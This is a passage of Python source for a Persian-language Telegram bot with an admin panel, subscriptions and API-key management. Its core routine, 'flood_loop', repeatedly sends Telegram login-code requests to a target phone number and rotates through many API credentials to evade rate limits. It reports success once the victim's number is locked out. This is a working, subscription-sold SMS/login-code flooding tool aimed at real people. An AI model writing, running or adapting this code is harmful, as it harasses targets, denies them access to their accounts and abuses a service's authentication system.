        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬",
        reply_markup=cancel_kb_op
    )

    asyncio.create_task(flood_loop(uid, phone, hours, max_numbers))

@dp.callback_query(F.data.startswith("cancel_op_"))
async def cancel_op_cb(cb: CallbackQuery):
    try:
        uid = int(cb.data.split("_")[-1])
    except Exception:
        await cb.answer("خطا!", show_alert=True)
        return
    if cb.from_user.id != uid:
        await cb.answer("این دکمه برای شما نیست!", show_alert=True)
        return
    db.set_setting(f"cancel_{uid}", "1")
    text = "🛑 درخواست لغو ارسال شد..."
    await send_with_banner(cb.message.chat.id, text, main_menu_kb(uid), "main", edit_message=cb.message)

# ---------- پنل ادمین ----------
@dp.message(Command("admin"))
async def admin_panel_cmd(message: Message):
    if message.from_user.id != ADMIN_ID and not db.is_admin(message.from_user.id):
        await message.answer("⛔️ شما ادمین نیستید!")
        return
    text = (
        f"<b>⚙️ پنل مدیریت {BRAND}</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"📌 گزینه مورد نظر را انتخاب کنید:"
    )
    await send_with_banner(message.chat.id, text, admin_menu_kb(), "admin_panel")

@dp.callback_query(F.data == "admin_panel")
async def admin_panel_cb(cb: CallbackQuery, state: FSMContext):
    if cb.from_user.id != ADMIN_ID and not db.is_admin(cb.from_user.id):
        await cb.answer("⛔️ شما ادمین نیستید!", show_alert=True)
        return
    await state.clear()
    text = (
        f"<b>⚙️ پنل مدیریت {BRAND}</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"📌 گزینه مورد نظر را انتخاب کنید:"
    )
    await send_with_banner(cb.message.chat.id, text, admin_menu_kb(), "admin_panel", edit_message=cb.message)

@dp.callback_query(F.data == "admin_stats")
async def admin_stats_cb(cb: CallbackQuery):
    if not db.is_admin(cb.from_user.id):
        await cb.answer("دسترسی ندارید!", show_alert=True)
        return
    stats = db.get_stats()
    text = (
        f"<b>📊 آمار ربات {BRAND}</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"👥 <b>کل کاربران:</b> {stats['total']}\n"
        f"🚫 <b>کاربران بن شده:</b> {stats['banned']}\n"
        f"💎 <b>اشتراک‌های فعال:</b> {stats['active_subs']}\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬"
    )
    await send_with_banner(cb.message.chat.id, text, admin_menu_kb(), "admin_panel", edit_message=cb.message)

@dp.callback_query(F.data == "admin_users")
async def admin_users_cb(cb: CallbackQuery):
    if not db.is_admin(cb.from_user.id):
        await cb.answer("دسترسی ندارید!", show_alert=True)
        return
    users = db.get_all_users()
    if not users:
        await cb.answer("کاربری یافت نشد.", show_alert=True)
        return
    lines = [f"<b>👥 لیست کاربران ({len(users)} نفر)</b>\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"]
    for u in users[:50]:
        status = "🚫" if u[4] == 1 else ("👑" if u[5] == 1 else "👤")
        lines.append(f"{status} <code>{u[0]}</code> | {u[2] or '—'}\n")
    text = "".join(lines)
    if len(text) > 4000:
        text = text[:4000] + "\n..."
    await send_with_banner(cb.message.chat.id, text, admin_menu_kb(), "admin_panel", edit_message=cb.message)

@dp.callback_query(F.data == "admin_give_sub")
async def admin_give_sub_cb(cb: CallbackQuery, state: FSMContext):
    if not db.is_admin(cb.from_user.id):
        await cb.answer("دسترسی ندارید!", show_alert=True)
        return
    await state.set_state(AdminStates.waiting_for_sub_user_id)
    await cb.message.edit_text(
        "👤 <b>آیدی عددی کاربر را وارد کنید:</b>",
        reply_markup=cancel_kb()
    )

@dp.message(AdminStates.waiting_for_sub_user_id)
async def admin_get_sub_user_id(message: Message, state: FSMContext):
    if not db.is_admin(message.from_user.id):
        return
    try:
        uid = int(message.text.strip())
    except Exception:
        await message.answer("❌ عدد وارد کنید!", reply_markup=cancel_kb())
        return
    if not db.get_user(uid):
        await message.answer("❌ کاربر یافت نشد!", reply_markup=admin_menu_kb())
        await state.clear()
        return
    await state.update_data(target_user=uid)
    await state.set_state(AdminStates.waiting_for_sub_days)
    await message.answer("📅 <b>تعداد روز اشتراک:</b>", reply_markup=cancel_kb())

@dp.message(AdminStates.waiting_for_sub_days)
async def admin_get_sub_days(message: Message, state: FSMContext):
    if not db.is_admin(message.from_user.id):
        return
    try:
        days = int(message.text.strip())
        if days < 1:
            raise ValueError
    except Exception:
        await message.answer("❌ عدد معتبر وارد کنید!", reply_markup=cancel_kb())
        return
    await state.update_data(days=days)
    await state.set_state(AdminStates.waiting_for_sub_max)
    await message.answer("🔢 <b>سقف شماره روزانه:</b>", reply_markup=cancel_kb())

@dp.message(AdminStates.waiting_for_sub_max)
async def admin_get_sub_max(message: Message, state: FSMContext):
    if not db.is_admin(message.from_user.id):
        return
    try:
        max_n = int(message.text.strip())
        if max_n < 1:
            raise ValueError
    except Exception:
        await message.answer("❌ عدد معتبر وارد کنید!", reply_markup=cancel_kb())
        return
    data = await state.get_data()
    target = data.get("target_user")
    days = data.get("days")
    db.add_subscription(target, days, max_n)
    await state.clear()
    await message.answer(
        f"✅ اشتراک برای کاربر <code>{target}</code> فعال شد.\n"
        f"📅 {days} روز | 🔢 {max_n} شماره",
        reply_markup=admin_menu_kb()
    )
    try:
        await bot.send_message(target, "💎 اشتراک شما توسط ادمین فعال شد!")
    except Exception:
        pass

# ---------- بن / آنبن ----------
@dp.callback_query(F.data == "admin_ban")
async def admin_ban_cb(cb: CallbackQuery, state: FSMContext):
    if not db.is_admin(cb.from_user.id):
        await cb.answer("دسترسی ندارید!", show_alert=True)
        return
    await state.set_state(AdminStates.waiting_for_ban_user_id)
    await cb.message.edit_text("🚫 <b>آیدی عددی کاربر برای بن:</b>", reply_markup=cancel_kb())

@dp.callback_query(F.data == "admin_unban")
async def admin_unban_cb(cb: CallbackQuery, state: FSMContext):
    if not db.is_admin(cb.from_user.id):
        await cb.answer("دسترسی ندارید!", show_alert=True)
        return
    await state.set_state(AdminStates.waiting_for_unban_user_id)
    await cb.message.edit_text("✅ <b>آیدی عددی کاربر برای آنبن:</b>", reply_markup=cancel_kb())

@dp.message(AdminStates.waiting_for_ban_user_id)
async def admin_do_ban(message: Message, state: FSMContext):
    if not db.is_admin(message.from_user.id):
        return
    try:
        uid = int(message.text.strip())
    except Exception:
        await message.answer("❌ عدد وارد کنید!", reply_markup=cancel_kb())
        return
    if uid == ADMIN_ID:
        await message.answer("❌ نمی‌توانید ادمین را بن کنید!", reply_markup=admin_menu_kb())
        await state.clear()
        return
    if not db.get_user(uid):
        await message.answer("❌ کاربر یافت نشد!", reply_markup=admin_menu_kb())
        await state.clear()
        return
    db.set_ban(uid, True)
    await state.clear()
    await message.answer(f"✅ کاربر <code>{uid}</code> بن شد.", reply_markup=admin_menu_kb())
    try:
        await bot.send_message(uid, "🚫 شما از ربات بن شدید.")
    except Exception:
        pass

@dp.message(AdminStates.waiting_for_unban_user_id)
async def admin_do_unban(message: Message, state: FSMContext):
    if not db.is_admin(message.from_user.id):
        return
    try:
        uid = int(message.text.strip())
    except Exception:
        await message.answer("❌ عدد وارد کنید!", reply_markup=cancel_kb())
        return
    if not db.get_user(uid):
        await message.answer("❌ کاربر یافت نشد!", reply_markup=admin_menu_kb())
        await state.clear()
        return
    db.set_ban(uid, False)
    await state.clear()
    await message.answer(f"✅ کاربر <code>{uid}</code> آنبن شد.", reply_markup=admin_menu_kb())
    try:
        await bot.send_message(uid, "✅ شما آنبن شدید.")
    except Exception:
        pass

# ---------- افزودن / حذف ادمین ----------
@dp.callback_query(F.data == "admin_add_admin")
async def admin_add_admin_cb(cb: CallbackQuery, state: FSMContext):
    if cb.from_user.id != ADMIN_ID:
        await cb.answer("فقط ادمین اصلی!", show_alert=True)
        return
    await state.set_state(AdminStates.waiting_for_admin_add)
    await cb.message.edit_text("👑 <b>آیدی عددی ادمین جدید را وارد کنید:</b>", reply_markup=cancel_kb())

@dp.message(AdminStates.waiting_for_admin_add)
async def admin_do_add_admin(message: Message, state: FSMContext):
    if message.from_user.id != ADMIN_ID:
        return
    try:
        uid = int(message.text.strip())
    except Exception:
        await message.answer("❌ عدد وارد کنید!", reply_markup=cancel_kb())
        return
    if not db.get_user(uid):
        db.add_user(uid, None, f"Admin_{uid}")
    db.cursor.execute("UPDATE users SET is_admin=1, is_banned=0 WHERE user_id=?", (uid,))
    db.conn.commit()
    await state.clear()
    await message.answer(f"✅ کاربر <code>{uid}</code> ادمین شد.", reply_markup=admin_menu_kb())

@dp.callback_query(F.data == "admin_remove_admin")
async def admin_remove_admin_cb(cb: CallbackQuery, state: FSMContext):
    if cb.from_user.id != ADMIN_ID:
        await cb.answer("فقط ادمین اصلی!", show_alert=True)
        return
    await state.set_state(AdminStates.waiting_for_admin_add)
    await state.update_data(remove_admin=True)
    await cb.message.edit_text("❌ <b>آیدی عددی ادمین برای حذف:</b>", reply_markup=cancel_kb())

# ---------- API ----------
@dp.callback_query(F.data == "admin_add_api")
async def admin_add_api_cb(cb: CallbackQuery, state: FSMContext):
    if not db.is_admin(cb.from_user.id):
        await cb.answer("دسترسی ندارید!", show_alert=True)
        return
    await state.set_state(AdminStates.waiting_for_api_id)
    await cb.message.edit_text("🔌 <b>API ID جدید را وارد کنید:</b>", reply_markup=cancel_kb())

@dp.message(AdminStates.waiting_for_api_id)
async def admin_get_api_id(message: Message, state: FSMContext):
    if not db.is_admin(message.from_user.id):
        return
    try:
        api_id = int(message.text.strip())
    except Exception:
        await message.answer("❌ عدد وارد کنید!", reply_markup=cancel_kb())
        return
    await state.update_data(api_id=api_id)
    await state.set_state(AdminStates.waiting_for_api_hash)
    await message.answer("🔑 <b>API HASH را وارد کنید:</b>", reply_markup=cancel_kb())

@dp.message(AdminStates.waiting_for_api_hash)
async def admin_get_api_hash(message: Message, state: FSMContext):
    if not db.is_admin(message.from_user.id):
        return
    api_hash = message.text.strip()
    data = await state.get_data()
    db.add_api(data["api_id"], api_hash)
    await state.clear()
    await message.answer(f"✅ API جدید اضافه شد: <code>{data['api_id']}</code>", reply_markup=admin_menu_kb())

@dp.callback_query(F.data == "admin_list_apis")
async def admin_list_apis_cb(cb: CallbackQuery):
    if not db.is_admin(cb.from_user.id):
        await cb.answer("دسترسی ندارید!", show_alert=True)
        return
    apis = db.get_active_apis()
    if not apis:
        text = "❌ هیچ API فعالی وجود ندارد."
    else:
        lines = ["<b>📋 لیست API های فعال:</b>\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"]
        for a in apis:
            lines.append(f"🔹 <code>{a[0]}</code>\n")
        text = "".join(lines)
    await send_with_banner(cb.message.chat.id, text, admin_menu_kb(), "admin_panel", edit_message=cb.message)

# ---------- بنرها ----------
@dp.callback_query(F.data == "admin_banners")
async def admin_banners_cb(cb: CallbackQuery, state: FSMContext):
    if not db.is_admin(cb.from_user.id):
        await cb.answer("دسترسی ندارید!", show_alert=True)
        return
    await state.clear()
    text = (
        f"<b>🖼 تنظیم بنرها | Banners Settings</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"📌 برای هر بخش می‌توانید یک عکس بنر تنظیم کنید.\n"
        f"🟢 = بنر تنظیم شده | 🔴 = بدون بنر\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"👇 بخش مورد نظر را انتخاب کنید:"
    )
    await send_with_banner(cb.message.chat.id, text, banners_menu_kb(), "admin_panel", edit_message=cb.message)

@dp.callback_query(F.data.startswith("banner_set_"))
async def banner_set_cb(cb: CallbackQuery, state: FSMContext):
    if not db.is_admin(cb.from_user.id):
        await cb.answer("دسترسی ندارید!", show_alert=True)
        return
    section = cb.data.replace("banner_set_", "")
    section_name = BANNER_SECTIONS.get(section, section)
    await state.set_state(AdminStates.waiting_for_banner)
    await state.update_data(banner_section=section)
    kb = InlineKeyboardMarkup(inline_keyboard=[
        [InlineKeyboardButton(text="🗑 حذف بنر این بخش", callback_data=f"banner_del_{section}", style="danger")],
        [InlineKeyboardButton(text="🔙 بازگشت", callback_data="admin_banners", style="primary")]
    ])
    try:
        await cb.message.delete()
    except Exception:
        pass
    await bot.send_message(
        cb.message.chat.id,
        f"🖼 <b>تنظیم بنر برای: {section_name}</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"📌 لطفاً یک <b>عکس</b> ارسال کنید تا به عنوان بنر تنظیم شود.\n"
        f"<i>(عکس رو به صورت فایل یا معمولی بفرستید)</i>",
        reply_markup=kb
    )

@dp.message(AdminStates.waiting_for_banner, F.photo)
async def banner_save_photo(message: Message, state: FSMContext):
    if not db.is_admin(message.from_user.id):
        return
    data = await state.get_data()
    section = data.get("banner_section")
    if not section:
        await message.answer("❌ خطا! دوباره تلاش کنید.")
        await state.clear()
        return
    file_id = message.photo[-1].file_id
    db.set_setting(f"banner_{section}", file_id)
    section_name = BANNER_SECTIONS.get(section, section)
    await state.clear()
    await message.answer(
        f"✅ بنر برای بخش <b>{section_name}</b> با موفقیت تنظیم شد.",
        reply_markup=admin_menu_kb()
    )

@dp.message(AdminStates.waiting_for_banner)
async def banner_save_invalid(message: Message, state: FSMContext):
    await message.answer("❌ لطفاً فقط <b>عکس</b> ارسال کنید.", reply_markup=cancel_kb())

@dp.callback_query(F.data.startswith("banner_del_"))
async def banner_del_cb(cb: CallbackQuery, state: FSMContext):
    if not db.is_admin(cb.from_user.id):
        await cb.answer("دسترسی ندارید!", show_alert=True)
        return
    section = cb.data.replace("banner_del_", "")
    db.del_setting(f"banner_{section}")
    section_name = BANNER_SECTIONS.get(section, section)
    await state.clear()
    await cb.answer(f"✅ بنر {section_name} حذف شد.", show_alert=True)
    text = (
        f"<b>🖼 تنظیم بنرها | Banners Settings</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"📌 برای هر بخش می‌توانید یک عکس بنر تنظیم کنید.\n"
        f"🟢 = بنر تنظیم شده | 🔴 = بدون بنر\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"👇 بخش مورد نظر را انتخاب کنید:"
    )
    await send_with_banner(cb.message.chat.id, text, banners_menu_kb(), "admin_panel", edit_message=cb.message)

@dp.callback_query(F.data == "banner_clear_all")
async def banner_clear_all_cb(cb: CallbackQuery):
    if not db.is_admin(cb.from_user.id):
        await cb.answer("دسترسی ندارید!", show_alert=True)
        return
    for key in BANNER_SECTIONS.keys():
        db.del_setting(f"banner_{key}")
    await cb.answer("✅ همه بنرها حذف شدند.", show_alert=True)
    text = (
        f"<b>🖼 تنظیم بنرها | Banners Settings</b>\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"📌 برای هر بخش می‌توانید یک عکس بنر تنظیم کنید.\n"
        f"🟢 = بنر تنظیم شده | 🔴 = بدون بنر\n"
        f"▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
        f"👇 بخش مورد نظر را انتخاب کنید:"
    )
    await send_with_banner(cb.message.chat.id, text, banners_menu_kb(), "admin_panel", edit_message=cb.message)

# ---------- پیام همگانی ----------
@dp.callback_query(F.data == "admin_broadcast")
async def admin_broadcast_cb(cb: CallbackQuery, state: FSMContext):
    if not db.is_admin(cb.from_user.id):
        await cb.answer("دسترسی ندارید!", show_alert=True)
        return
    await state.set_state(AdminStates.waiting_for_broadcast)
    await cb.message.edit_text("📢 <b>متن پیام همگانی را وارد کنید:</b>", reply_markup=cancel_kb())

@dp.message(AdminStates.waiting_for_broadcast)
async def admin_do_broadcast(message: Message, state: FSMContext):
    if not db.is_admin(message.from_user.id):
        return
    text = message.text
    users = db.get_all_users()
    count = 0
    for u in users:
        try:
            await bot.send_message(u[0], text)
            count += 1
        except Exception:
            pass
        await asyncio.sleep(0.05)
    await state.clear()
    await message.answer(f"✅ پیام به {count} کاربر ارسال شد.", reply_markup=admin_menu_kb())

# ---------- خاموش/روشن ----------
@dp.callback_query(F.data == "admin_toggle_bot")
async def admin_toggle_bot(cb: CallbackQuery):
    if not db.is_admin(cb.from_user.id):
        await cb.answer("دسترسی ندارید!", show_alert=True)
        return
    current = db.get_setting("bot_active", "1")
    new_val = "0" if current == "1" else "1"
    db.set_setting("bot_active", new_val)
    status = "روشن ✅" if new_val == "1" else "خاموش 🔴"
    await cb.answer(f"ربات {status} شد.", show_alert=True)

# ======================== هسته ارسال کد ========================
async def send_code_to_target(client: TelegramClient, phone: str, api_id: int, api_hash: str):
    try:
        await client(SendCodeRequest(
            phone_number=phone,
            api_id=api_id,
            api_hash=api_hash,
            settings=CodeSettings()
        ))
        return True, "ok"
    except errors.FloodWaitError as e:
        return False, f"flood:{e.seconds}"
    except errors.PhoneNumberFloodError:
        return False, "phone_flood"
    except errors.PhoneNumberBannedError:
        return False, "phone_banned"
    except Exception as e:
        return False, str(e)[:200]

async def flood_loop(user_id: int, phone: str, duration_hours: int, max_numbers: int):
    start_time = datetime.now()
    end_time = start_time + timedelta(hours=duration_hours)
    sent_count = 0
    canceled = False

    apis = db.get_active_apis()
    api_list = list(apis) + [(a["api_id"], a["api_hash"]) for a in API_POOL]

    if not api_list:
        await bot.send_message(user_id, "❌ هیچ API فعالی وجود ندارد!")
        return

    current_api_idx = 0
    consecutive_flood = 0

    while datetime.now() < end_time and sent_count < max_numbers:
        if db.get_setting(f"cancel_{user_id}", "0") == "1":
            db.set_setting(f"cancel_{user_id}", "0")
            canceled = True
            break

        api_id, api_hash = api_list[current_api_idx % len(api_list)]

        try:
            client = TelegramClient(f"session_{user_id}_{api_id}", api_id, api_hash)
            await client.connect()

            success, result = await send_code_to_target(client, phone, api_id, api_hash)
            try:
                await client.disconnect()
            except Exception:
                pass

            if success:
                sent_count += 1
                consecutive_flood = 0
                try:
                    await bot.send_message(
                        user_id,
                        f"✅ <b>درخواست {sent_count}/{max_numbers} ارسال شد.</b>\n"
                        f"📱 شماره: <code>{phone}</code>\n"
                        f"🔌 API: <code>{api_id}</code>"
                    )
                except Exception:
                    pass
            elif result.startswith("flood:"):
                wait_sec = int(result.split(":")[1])
                wait_sec = min(wait_sec, 180)
                consecutive_flood += 1
                try:
                    await bot.send_message(
                        user_id,
                        f"⏳ تلگرام گفت {wait_sec} ثانیه صبر کنید...\n"
                        f"<i>(فلاد {consecutive_flood})</i>"
                    )
                except Exception:
                    pass
                await asyncio.sleep(wait_sec)
                if consecutive_flood >= 3:
                    current_api_idx += 1
                    consecutive_flood = 0
            elif result == "phone_flood":
                try:
                    await bot.send_message(
                        user_id,
                        f"🎯 <b>شماره با موفقیت محدود شد!</b>\n"
                        f"📱 <code>{phone}</code>\n"
                        f"🔢 تعداد درخواست: {sent_count}"
                    )
                except Exception:
                    pass
                db.log(user_id, "phone_limited", phone)
                return
            elif result == "phone_banned":
                try:
                    await bot.send_message(user_id, f"⚠️ شماره {phone} از قبل بن شده است.")
                except Exception:
                    pass
                return
            else:
                db.deactivate_api(api_id, result)
                try:
                    await bot.send_message(
                        ADMIN_ID,
                        f"⚠️ <b>API غیرفعال شد!</b>\n"
                        f"🆔 <code>{api_id}</code>\n"
                        f"📝 خطا: {result}"
                    )
                except Exception:
                    pass
                current_api_idx += 1
                if current_api_idx >= len(api_list):
                    try:
                        await bot.send_message(user_id, "❌ همه API ها غیرفعال شدند!")
                    except Exception:
                        pass
                    return
                continue

            # مکث ۲ تا ۳ دقیقه بین درخواست‌ها
            delay = random.randint(120, 180)
            for _ in range(delay):
                await asyncio.sleep(1)
                if db.get_setting(f"cancel_{user_id}", "0") == "1":
                    db.set_setting(f"cancel_{user_id}", "0")
                    canceled = True
                    break
            if canceled:
                break

        except Exception as e:
            try:
                await bot.send_message(user_id, f"❌ خطا: {str(e)[:100]}")
            except Exception:
                pass
            current_api_idx += 1
            if current_api_idx >= len(api_list):
                return

    if canceled:
        try:
            await bot.send_message(user_id, "🛑 عملیات لغو شد.")
        except Exception:
            pass
    else:
        try:
            await bot.send_message(
                user_id,
                f"✅ <b>عملیات کامل شد.</b>\n"
                f"📱 <code>{phone}</code>\n"
                f"🔢 {sent_count} درخواست"
            )
        except Exception:
            pass

# ======================== اجرا ========================
async def main():
    logging.basicConfig(level=logging.INFO)
    print(f"🚀 ربات {BRAND} راه‌اندازی شد...")
    print(f"👑 ادمین: {ADMIN_ID}")
    await dp.start_polling(bot)

if __name__ == "__main__":
    asyncio.run(main())